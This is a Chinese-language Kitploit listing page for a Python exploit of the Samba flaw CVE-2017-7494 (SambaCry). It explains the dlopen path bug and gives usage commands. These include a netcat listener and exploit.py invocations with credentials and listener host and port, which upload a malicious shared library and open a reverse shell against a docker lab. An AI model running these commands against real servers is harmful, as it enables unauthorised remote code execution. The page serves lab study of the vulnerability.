Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-7494 — 针对 CVE-2017-7494 (SambaCry) 的 Python 漏洞利用工具,演示了如何通过将恶意共享库上传到 Samba 共享并触发其 dlopen 加载,实现经过身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/yonliud/cve-2017-7494
漏洞分析漏洞利用学习与教育实验室与实践
GitHubyonliud/cve-2017-7494

CVE-2017-7494

针对 CVE-2017-7494 (SambaCry) 的 Python 漏洞利用工具,演示了如何通过将恶意共享库上传到 Samba 共享并触发其 dlopen 加载,实现经过身份验证的远程代码执行。

查看仓库
26天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SambaCry (CVE-2017-7494) 漏洞利用

CVE-2017-7494/SambaCry 允许经过身份验证的用户将共享库上传到可写文件夹,并使用上传的库执行攻击。

漏洞说明

SambaCry 是 Samba 处理命名管道请求时的一个路径验证漏洞。 通常,这些管道用于让程序通过类似文件的通道读写数据来进行相互通信。

当 Samba 收到未知的管道名称时,受影响版本可能会将其视为可动态加载模块的名称。 这些模块通常是管理员安装的合法 .so 库。

该漏洞允许客户端提供绝对文件系统路径,而不是正常的模块或管道名称。Samba 未正确限制此路径,可能实际执行:dlopen("/data/example.so", ...);。

加载共享库会执行其初始化代码。因此,能够将恶意 .so 文件上传到可写位置的攻击者,就可以让 Samba 服务加载该文件,从而实现远程代码执行。

演示

https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010

用法

  1. 初始化一个监听器:
root@kitploit:~
nc -lvnp 4444
  1. 执行完整流程
root@kitploit:~
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so

要触发已上传的 payload:

root@kitploit:~
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
  1. 在监听器的终端中。应该会出现一个 shell。

实验环境

使用预先准备好的 docker-compose.yml 初始化易受攻击的实验环境。

root@kitploit:~
docker compose up -d

该实验环境使用 Samba 4.5.9。该版本易受此漏洞影响。

受影响版本

3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3

下载工具